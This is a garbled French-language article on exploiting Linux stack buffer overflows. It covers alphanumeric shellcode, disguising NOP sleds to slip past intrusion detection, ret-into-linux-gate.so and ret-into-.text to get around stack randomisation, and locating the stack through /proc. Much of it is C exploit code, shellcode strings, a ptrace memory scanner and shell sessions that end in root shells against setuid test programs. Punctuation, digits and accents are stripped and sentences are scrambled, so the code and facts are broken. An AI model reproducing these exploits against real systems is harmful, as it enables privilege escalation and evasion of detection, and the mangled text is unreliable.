bytesnot . Traitement par XOR octet par octet if resultindexgtquotmethodquot eq quotxorquot resultindexgtquotmethodquot eq quotnotxorquot my currentkey unpack quotHquot. print alphanumshellcode quotxor ecx. bhnquot ifbytesnot . x dec eax push esp pop ecx push eax push ecx push edx push eax push esp push ebp push eax push edi popad dec ecx push dword xf xor ecx..asm BITS global start segment . Voici lexploitation avec notre shellcode shellroot. bh push word x .. tant donn que cest lendroit o nous allons crire notre shellcode dcrypt . Ainsi le nombre de NOPs dans cette zone sera gal au nombre doctets que fait notre shellcode. Exploitation Notre exploit sera lgrement diffrent tant donn que la structure du payload ne sera pas la mme que lors dune exploitation classique il faut rajouter des NOPs entre la routine de dcryptage et ladresse de retour. toutefois il faudra insrer un nombre minimum de NOPs pour les raisons bourrage expliques prcdemment..pl deimosltbx/stackoverflow/shellroot cat perl.asm deimosltbx/stackoverflow/shellroot perl alphagen.text start dec esp dec esp dec esp dec esp push dword x pop eax xor eax. dh push word x deimosltbx/stackoverflow/shellroot nasm perl.hgt char shellcode quotxcxcxcxcxxxxxxxxxxxxxx xxxxxxxxxxxxxxxfxxx xxxxxaxxxxxxxxxxxxx axxxxxxxaxfxxxxxxxaxxx xxxxxxxxxxaxxxxxxxax xfxxxxxxaxxxxxxxxxxax xxxxxxxxcxxxxxxxxaxx xxxxxxxxxxxxaxxxxxx xexxxxxxxxaxxxxxxxxx xxxxexxxxxxxxaxxxxxx xxxxexxxxxxxxxxxaxxx xxxxxxaxxfxxxxxxxxaxx xxxxxxxxxaxxxxxfxxaxfx xxxxxxxxxaxxxxxxxxx xxxaxxxxxfxxxxxxxxxx xxxaxxxxxxxxxfxxaxfxxx xxxxxxxaxxxxxxxxxxx xaxxxxxxxxxxxxxxxxx xaxxxxxxxxxxxaxfxxxxx xxxxxaxxxxxxxxxxxxxquot . dh dec ecx dec ecx xor ecx. si push word x pop dx xor ecx. .c include ltmalloc.pl xcxcxcxcxxx deimosltbx/stackoverflow/shellroot cat gtexploit. dh dec ecx dec ecx push dword xfa push word x pop dx xor ecx.asm o shellcode deimosltbx/stackoverflow/shellroot perl extractshellcode.pop dx xor ecx. shlength. shlength atoiargv.unsigned long findesp asmquotmovl esp. fori. ptrret. i ptrret ret. memsetptrbuff. ptrbuff buffersize . buff char mallocbuffersize . ptrbuff buff. ret findesp offset. ilt. x. offset atoiargv. ptrbuff shlength. fori. shlength. x. int i. ptrret long ptrbuff. ptrbuff. memsetptrbuff. buffersize atoiargv.shlength. . eaxquot. ifshlength lt shlength . iltstrlenshellcode. i ptrbuff shellcodei. argv. return .shlength. unsigned int offset. unsigned long ret. char argv ifargc lt printfquotUsage s offset buffersize sizeshellcodenquot. buffersize.strlenshellcode . buffersize . char buff.strlenshellcode . int mainint argc. ptrbuff char ptrret ptrbuff printfquotTaille du shellcode dnTaille totale dnOffset xxnquot, strlenshellcode, strlenbuff, ret execlquot./vulnquot, quot./vulnquot, buff, NULL return deimosltbx/stackoverflow/ shellroot gcc o exploit exploit.c deimosltbx/stackoverflow/ shellroot ./exploit Usage ./exploit offset buffersize sizeshellcode deimosltbx/stackoverflow/ shellroot ./exploit Taille du shellcode Taille totale Offset xbffffc sh.b id uidroot gidroot groupsdialout,cdrom,floppy,audio,video,plugdev, deimos sh.b exit exit .. Camouflage de NOPs Une dernire tape afin de rendre notre exploitation le plus invisible possible consiste remplacer le traditionnel octet x NOP qui nest dailleurs pas dans notre jeu de caractres alphanumrique par une ou plusieurs instructions dun octet qui nauront pas dincidences sur notre shellcode. En effet, en plus de pouvoir dtecter des instructions classiques comme int x xCD, les NIDS comme Snort peuvent reprer trs facilement suite de NOPs durant plusieurs dizaines voire centaines doctets. On peut ainsi les substituer par des instructions dun octet opcode alphanumrique tels que inc ecx dx bx sp bp si di ou dec reg. Il est assez trivial de modifier les exploits prcdents en consquence il suffit de changer linstruction memsetptrbuff, x, . . Technique avance dexploitation de stack overflow .. ret into linuxgate.so. ... Prsentation de la mthode Dans les noyaux Linux ..x est incluse une randomisation de ladresse de base de la pile. Or, dans tous nos exploits prcdents, nous avons rcuprer ladresse de base de la pile du processus courant donc de lexploit, puis nous avons rajout un offset afin de retomber sur notre shellcode. Cette mthode ne fonctionne plus si ladresse de la pile est diffrente pour chaque processus. On peut rapidement vrifier lexistence de ladite protection deimosltbx/stackoverflow cat gtgetesp.c include ltstdio.hgt long getesp asmquotmovl esp, eaxquot int main printfquotStack Pointer xxnquot, getesp return deimosltbx/stackoverflow gcc o getesp getesp.c deimosltbx/stackoverflow for i in seq do ./getesp done Stack Pointer xbfdbf Stack Pointer xbfbed Stack Pointer xbfabac Stack Pointer xbfbbcd Stack Pointer xbfcac car cest un DSO virtuel en effet il est mapp en mmoire directement partir du kernel. Il est implment dans les noyaux ... Dynamic Shared Object. une adresse fixe.so bfcbfe rwp /lib/ld..so.. est partag entre tous les processus du systme et uniquement mapp une fois en mmoire.so.e.. On remarque quil se situe ladresse xffffe. Pourquoi cela nous intressetil Car le code de linuxgate. nexiste toutefois pas. il ne sera pas trivial de deviner ladresse de retour Cest ici quintervient linuxgate.. mme si lon dispose dun buffer de plus de octets.so bfbfc rwp bf bfbf rwp bf bfbfc rxp /lib/ld.so bfbf rwp c /lib/tls/i/cmov/libc.. est sous le label VDSO Virtual DSO.so.Cette randomisation dpend du contenu du fichier randomizevaspace situ dans le systme de fichiers virtuel /proc deimosltbx/stackoverflow cat /proc/sys/kernel/randomizevaspace On remarque effectivement que ladresse de la pile est change chaque cration dun processus dans une plage dadresses assez importante..so. i. Le fichier systme linuxgate..so bffbffc rwp bff stack ffffefffff p vdso Lemplacement mmoire o est situ linuxgate.so bfbf rp /lib/tls/i/cmov/libc.so.x afin dacclrer les syscalls. . linuxgate. Ainsi. est un DSO. deimosltbx/stackoverflow cat /proc/self/maps c rxp /bin/cat cd rwp /bin/cat de rwp d heap bdcbdda rp /usr/lib/locale/localearchive bddabddb rwp bdda bddbbf rxp /lib/tls/i/cmov/libc.... Ceci est assez facile raliser . jmps. .c. Dans un premier temps. scanning for JMP ESP . jmps. il suffit en effet dinspecter la mmoire dun processus ladresse xffffe afin den dduire lexistence ou non de linstruction. afin dexcuter notre shellcode. i lt . char argv int i.org / include ltstdio. jmps . qui ne devra donc plus tre au mme endroit dans le payload que prcdemment au lieu de le placer dans le buffer vulnrable.hgt int mainint argc. i if ptri xff ifptri xe printfquot xx jmp espnquot. La technique utiliser est de rechercher dans cet espace mmoire partag un code assembleur tel que jmp esp ou call esp. ptri.Ce DSO virtuel peut donc nous tre utile dans la mesure o il dispose dune adresse fixe et connue. else ifptri xd printfquot xx call espnquot. il faudra le positionner aprs ladresse de retour. char ptr char xffffe.hgt include ltstdlib. jmps.iziktty.hgt include ltunistd. for i . il faut connatre ladresse dune instruction nous permettant de dvier EIP vers la pile. ptri.c / gotjmpesp. Voici le code C de Izik lgrement modifi par moimme afin deffectuer cette tche deimosltbx/Ret cat gtgotjmpesp. c deimosltbx/Ret . la structure du payload est diffrente./gotjmpesp No JMP/CALL ESP were found deimosltbx/Ret uname r . On constate que sur mon noyau . qui pointe vers lespace de la pile situ aprs ladresse de retour.. cela ne posera pas derreur Illegal instruction. sur un noyau un peu plus ancien deimosltbx/Ret uname r .if jmps printfquot No JMP/CALL ESP were foundnquot. Le schma situ sur la page suivante rsume la structure de notre payload. deimosltbx/Ret gcc o gotjmpesp gotjmpesp. La prsence de ces dernires dpend de nombreux facteurs.smp deimosltbx/Ret . aucune des deux instructions nest trouve. les options. Effectivement. la version de gcc avec laquelle le kernel a t compil. Notre shellcode viendra donc se positionner aprs ladresse de retour cette foisci. return .. . vu quil ne sera pas excut. Ainsi le contenu de notre buffer nest pas important ./gotjmpesp xffffecb jmp esp xffffef call esp Comme dit prcdemment. etc. on peut donc le remplir par des caractres ne correspondant pas un code assembleur correct. comme la version du kernel. mais vers ESP. tant donn quon ne saute pas vers ladresse du buffer... .. deimosltbx/Ret . ./findesp xffffecb jmp esp xffffef call esp deimosltbx/Ret cd .so.c.. crer un exploit ne savre pas tre une grande difficult. ainsi que le code source de exploit. Voici lexploitation effectuer pour une attaque de type ret into linuxgate. Exploitation Une fois le concept de la mthode compris.. Il nous suffit de modifier lgrement les exploits prcdents.c ./stackoverflow deimosltbx/stackoverflow cat gtvuln. char argv ifargc lt printfquotUsage s jmpespaddr buffersizenquot. . strcpybuffer.plugdev.floppy.cdrom.dei mos sh.c deimosltbx/stackoverflow su Password ltbx/home/deimos/stackoverflow chown root vuln ltbx/home/deimos/stackoverflow chgrp root vuln ltbx/home/deimos/stackoverflow chmod vuln ltbx/home/deimos/stackoverflow ls al vuln rwsrsrx root root vuln ltbx/home/deimos/stackoverflow exit exit deimosltbx/stackoverflow . return ./exploit Usage . char argv char buffer.int mainint argc.audio. argv./exploit xffffecb sh. int mainint argc. return ./exploit jmpespaddr buffersize deimosltbx/stackoverflow .hgt char shellcode quotxxcxbxxxdbxcdxxxcxbxexxdbxcdxxxcx bxbxaxxxxxxaxxxxfxxxfxxxe xxexxdxxxxexcdxxxcxbxxxdbxcdxquot.b exit exit deimosltbx/stackoverflow deimosltbx/stackoverflow cat gtexploit. deimosltbx/stackoverflow gcc o vuln vuln. argv.video.b id uidroot gidroot groupsdialout.c include ltmalloc. buffersize atoiargv.char buff. unsigned int buffersize.. ../vulnquot. int i. ptrret ret. fori. NULL. fori. i ptrbuff A. ptrbuff buff. une protection a t dveloppe ma connaissance sur la version de Fedora Core ainsi que les versions postrieures. return .. execlquot. Protection possible Concernant cette technique de saut dans linuxgate.so. . i ptrbuff shellcodei. ne sera plus xffffe. . long ret.so. ptrret long ptrbuff. ret strtollargv.sizeofret. ptrbuff . long ptrret. buff. En effet ladresse mmoire o est mapp le DSO linuxgate./vulnquot. quot. ptrbuff. iltstrlenshellcode. iltbuffersize . . mais une adresse du type xxxxxxx. Celleci consiste un ASCII shielded une protection par le code ASCII. buff char mallocbuffersize sizeofret strlenshellcode. Du coup. fin. return .. la copie du payload dans la mmoire sarrtera ce stade un simple Segmentation fault est prvisible. char fin char str quotquot. peuvent nous permettre dexcuter notre shellcode lorsque la randomisation de ladresse de base de la pile est active.so.. ret into . debut. ret strcatstr.hgt char concatchar debut. int mainint argc. . ladresse de retour vers linstruction jmp esp commencera par un caractre NULL. plusieurs mthodes ont t tudies par Izik. return ret. situes dans linuxgate. comme la plupart des failles de scurit traitant de stack overflow proviennent dune mauvaise utilisation des fonctions sur les chanes de caractres et que le caractre x indique la fin dune chaine. char argv ifargc concatargv.text Prcdemment. les autres tant plus ou moins semblables. ce qui rendra lexploitation du stack overflow impossible. Que faire lorsquune protection contre lutilisation de ladite DSO a galement t mise en place Dans ce cas.c include ltstring. quotxquot. . En effet. char ret. Nous allons traiter une de cellesci en dtail. Admettons que nous ayons le programme vulnrable suivant deimosltbx/RetToText cat gtvuln. ret strcatstr. nous avons vu que des instructions comme jmp esp. hgt include ltstring.so. le buffer qui sera renvoy ou plutt. nous utilisons un utilitaire que jai cod bas sur ptrace. .c. Rappelonsnous que ce pointeur se situera dans le registre EAX.hgt include ltsys/wait. long addr. quotUsage ns string PID xbaseaddressnquot. char argv unsigned long base. cela via deux appels de la fonction sensible strcat. Un call eax ou un jmp eax ne nous suffiraitil pas Nous allons analyser le code assembleur de notre processus vulnrable. Toutefois. pid atoiargv. quelle adresse de retour spcifier alors quon ne connat pas ladresse de base de la pile et quil est impossible dutiliser linuxgate.so. . puisque le rsultat dune fonction est toujours stock dans le registre accumulateur. On remarque que la fonction renvoie un pointeur vers la chane finale. char str.hgt include ltstdio. argv. include lterrno. De plus. return . if argc lt fprintfstderr. le buffer vers lequel pointe le pointeur renvoy sera en mesure de contenir notre shellcode.hgt include ltsys/ptrace.hgt include ltstdlib. base strtollargv. Il est inspir de celui quont programm Clad Strife et Xdream Blue afin de rechercher des instructions jmp esp dans linuxgate. Pour cela.Ce programme est assez basique et inutile comme tous nos vuln. .. il utilise une fonction de concatnation afin de concatner le premier argument du programme avec le caractre NULL . int pid.hgt void resolvestringconst char str. dans le cas dune exploitation de ce stack overflow. int pid. int mainint argc. . lt if errno flag printfquots Chaine non trouvee. if ptracePTRACEATTACH. long addr char data mallocstrlenstr. printfquotRecherche de la chaine a loffset xx. while ifdata ptracePTRACEPEEKDATA. str. pid. pid. ptracePTRACEDETACH. pid. int pid. base. void resolvestringconst char str. return. resolvestringstr. . return EXITSUCCESS. x.nArret a ladresse xxnquot. lt perrorquotptracequot. return. addr. memsetdata. . int flag . str.. waitpid. .str argv. i. iltstrlenstr. .nArret a ladresse xxnquot. fori. . lt iferrno flag printfquots Chaine non trouvee. addr. int length. addr. strlenstr. addr. return.nquot. addr ifdatai ptracePTRACEPEEKDATA. . . addr. ifdata str addr. pid. unsigned int i. pid. memsetdata. addr. flag .text start call eax deimosltbx/RetToText nasm f elf eax. str. gdb x/bx x x ltstartgt xff xd gdb quit . cette chaine sera lopcode de linstruction call eax . pid. Dans notre cas. str addr strlenstr. x. strlenstr.nquot. printfquots trouvee dans le processus d a loffset p. avec gdb deimosltbx/RetToText cat gteax.o deimosltbx/RetToText gdb eax gdb disass start Dump of assembler code for function start x ltstartgt call eax End of assembler dump. La valeur de lopcode peut tre obtenue rapidement. addr. Lexcutable cidessus prend en premier paramtre la chaine chercher en mmoire.asm BITS global start segment .asm deimosltbx/RetToText ld o eax eax.if strcmpdata. qui est la fonction invoquant les constructeurs du programme. Ces adresses sont statiques vu que ladresse de lentry point ne change pas . x Recherche de la chaine a loffset x. Exit anyway y or n y On constate que linstruction call eax est prsente de nombreux endroits./parse Usage ..packquotCquot. gdb start Breakpoint at xe Starting program /home/deimos/RetToText /vuln xe in main gdb x/i xff xff ltcallgmonstartgt call eax gdb x/i xd xd ltdoglobalctorsauxgt call eax gdb quit The program is running. linstar de ladresse du buffer./parse string PID xbaseaddress deimosltbx/RetToText ./parse perl e print packquotCquot. xd. notamment dans la fonction callgmonstart qui permet de lancer le profiling dun processus ainsi que dans doglobalctorsaux. xff. trouvee dans le processus a loffset xff.. trouvee dans le processus a loffset xd. trouvee dans le processus a loffset xff. .Lanons notre excutable vulnrable. trouvee dans le processus a loffset xd./vuln . rcuprons le PID ps aux grep vuln devrait suffire puis la recherche grce notre parser deimosltbx/RetToText . on peut ainsi relancer plusieurs fois lexcutable sans quelles ne soient modifies. deimosltbx/RetToText gdb ... iltstrlenshellcode. i ptrbuff x. ret strtollargv. return . iltbuffersize . int i. ptrbuff buff. argv. ptrbuff. le voici tout de mme.strlenshellcode.hgt char shellcode quotxxcxbxxxdbxcdxxxcxbxexxdbxcdxxxcxb xbxaxxxxxxaxxxxfxxxfxxxexx exxdxxxxexcdxxxcxbxxxdbxcdxquot. . i ptrbuff shellcodei. char buff. execlquot. . long ptrret. quot. au cas o la mthode dattaque ne serait pas claire include ltmalloc. long ret. ptrret long ptrbuff. ptrret ret. buff char mallocbuffersize sizeofret./vulnquot.Notre exploit. int mainint argc. buffersize atoiargv. unsigned int buffersize.c est trs classique ./vulnquot. fori. return . . char argv ifargc lt printfquotUsage s calleaxaddr buffersizenquot. fori. NULL. buff. video. Effectivement un hacker possde toutes les informations sur les processus lui permettant dexploiter la vulnrabilit sans encombre dans le systme de fichiers /proc.b exit exit deimosltbx/RetToText . deux fichiers peuvent nous renseigner sur ladresse de base de la pile.deimos sh. ni mme ladresse dune ventuelle instruction jmp esp dans linuxgate.plugdev. il ne peut pas prdire ladresse du shellcode stocke dans la pile. tous ces problmes sont rapidement rsolus.audio./exploit xff sh. Comme dit dans la section Rappels des concepts de base . le fichier /proc/pid/maps. Exploitation en local La randomnisation de ladresse de base de la pile est une protection contraignante pour lattaquant dans le cas dune attaque distance. Tout dabord. En local..b id uidroot gidroot groupsdialout.. qui . Cest ici quil devient intressant de raliser une prise dempreintes afin de dtecter la version de lOS exacte. En effet.so.cdrom.deimosltbx/RetToText . voire la version du kernel Linux.floppy./exploit Usage ./exploit calleaxaddr buffersize deimosltbx/RetToText su Password ltbx/home/deimos/RetToText chown root vuln ltbx/home/deimos/RetToText chgrp root vuln ltbx/home/deimos/RetToText chmod vuln ltbx/home/deimos/RetToText exit exit deimosltbx/RetToText . mais aussi le fichier /proc/pid/stat.contient les diffrentes rgions mmoire du processus dont la pile bien entendu avec leurs adresses de dbut et de fin. deimosltbx cat /proc//maps grep stack bfdebfdf rwp bfde stack deimosltbx cat /proc//stat cut f d quot quot . dont le me champ est ladresse de dpart de la pile en dcimal. selon moi.Conclusion Cet article touche prsent sa fin. Deimos . Jaurai encore voulu traiter de nombreux points. comme par exemple Microsoft Windows.net.worldnet. sur le channel IRC futurezoneirc.net. mais aussi de lexploitation de stack overflow sous une autre famille de systme dexploitation que GNU/Linux. StackShield et dautres et de leurs faiblesses. malheureusement le temps mais galement le cadre initial de cet ouvrage mobligent en rester ce stade. assez satisfaisant. ou via le site http//www. Toutefois il naurait pas t dplaisant de traiter des diffrentes protections possibles comme PaX. qui est dj. Peuttre en feraije le sujet dun prochain article. En esprant avoir des retours sur ce document.fzcorp. Merci donc mes relecteurs et aux personnes mayant fait part de leur avis visvis de cet ouvrage Gutek / ne. Blwood. futurezoneirc.net. securfrog. .Remerciements Cette partie est ddie ceux qui mont aid la rdaction de cet article. benjilenoob Merci galement aux personnes prsentes sur le chan o vous pouvez me contacter IRC de FutureZone. BeRgA.worldnet. fireboot. Xdream Blue.html. Writing ia alphanumeric shellcodes.sysdream.. Christophe Blaess.ualberta. http//www.Rfrences Stphane Aubert. Eviter les failles de scurit ds le dveloppement dune application mmoire.hsc.cgsecurity. pile et fonctions.so. http//www.com/article.org/Articles/SecProg/Art/indexfr. http//developer.fr/ressources/breves/stackoverflow. http//www.html Julien Olivain..ca/CNS/RESEARCH/LinuxClusters/mem. Christophe Grenier. http//www.txt Rix.org/archives//px Intel.org/doc/smackthestack. Understanding Memory.xvsyscalls. Le polymorphisme et le camouflage de shellcodes.htm Izik.intel.com/design/pentiumii/manuals/.com/johan///linuxgate/ . http//www.phrack. http//packetstormsecurity.pdf Clad Strife.so.org/defcon/dcfozyshellcodes/dcfozyWritingShellcodes/docs/french/stealthshellcodes .com/papers/ Johan Petersson. http//www. Smash the stack.html Frdric Raynal. Volume Instruction Set Reference Manual. shellcode.trilithium. Intel Architecture Software Developers Manual.phpstoryidampsectionid Izik.tty. http//www. Exploiting with linuxgate. Introduction aux dbordements de buffer. http//www. Linux. What is linuxgate.fr University of Alberta.milwrm. securiteam.com/content/images//downloads/gormanbook.html Mel Gorman.com/securityreviews/BHAEAA.pdf Jack C. Introduction au format ELF. http//www. Understanding the Linux Virtual Memory Manager.securityfocus. http//www. http//www. Re bypassing randomized stack using linuxgate. http//www.com/archive/////threaded Thomas Garnier. Linux Virtual Addresses Exploitation.. Michael Turner.phptr.so.com/fr//introductionelffr/ .supinfoprojects. shsize. eehsize. . eversion. etype. poffset. eshentsize. ppaddr. shtype. ephnum. pflags. shaddralign. eshstrndx. pvaddr. emachine. eentry. pmemsz. shlink. shinfo. shentsize. shflags. shaddr. eflags. eidentEINIDENT. typedef struct uintt ElfOff ElfAddr ElfAddr uintt uintt uintt uintt ElfPhdr. eshoff. ephentsize. eshnum. shname. typedef struct uintt uintt uintt ElfAddr ElfOff uintt uintt uintt uintt uintt ElfShdr.Annexes define EINIDENT typedef struct unsigned char uintt uintt uintt ElfNAddr ElfNOff ElfNOff uintt uintt uintt uintt uintt uintt uintt ElfNEhdr. ephoff. ptype. palign. shoffset. pfilesz.